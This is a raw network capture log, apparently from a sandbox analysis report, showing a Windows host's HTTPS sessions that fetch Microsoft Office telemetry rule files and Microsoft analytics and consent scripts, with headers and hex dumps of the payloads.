2024-11-22 00:03:05 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:06 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:06 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: af8656a8-801e-00a0-672a-3c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000306Z-178bfbc474bmqmgjhC1NYCy16c00000002b0000000003k0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:06 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:05 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:06 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:06 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 40694bf4-501e-008c-7530-3ccd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000306Z-178bfbc474btrnf9hC1NYCb80g00000002d0000000004pr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:06 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.7	49843	13.107.246.63	443	3724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:07 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 00:03:08 UTC	889	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:07 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241122T000307Z-15b8b599d88phfhnhC1TEBr51n00000000r000000000k38d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:08 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-22 00:03:08 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-11-22 00:03:08 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-11-22 00:03:08 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-22 00:03:08 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-22 00:03:08 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-11-22 00:03:08 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-11-22 00:03:08 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-11-22 00:03:08 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-22 00:03:08 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:07 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:08 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:07 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: f6495d06-a01e-0021-3357-3c814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000307Z-178bfbc474bscnbchC1NYCe7eg00000002b000000000bdb3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:08 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:07 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:03:08 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:07 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ee240466-601e-00ab-24f2-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000307Z-178bfbc474btvfdfhC1NYCa2en000000028g00000000b1ua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:03:08 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.7	49845	13.107.246.63	443	3724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:03:07 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 00:03:08 UTC	713	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:07 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 17853 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 5ef9cefc-301e-002d-1448-3c73ac000000 x-ms-version: 2009-09-19 x-azure-ref: 20241122T000307Z-174c587ffdfcj798hC1TEB9bq400000000pg000000013gyg Accept-Ranges: bytes
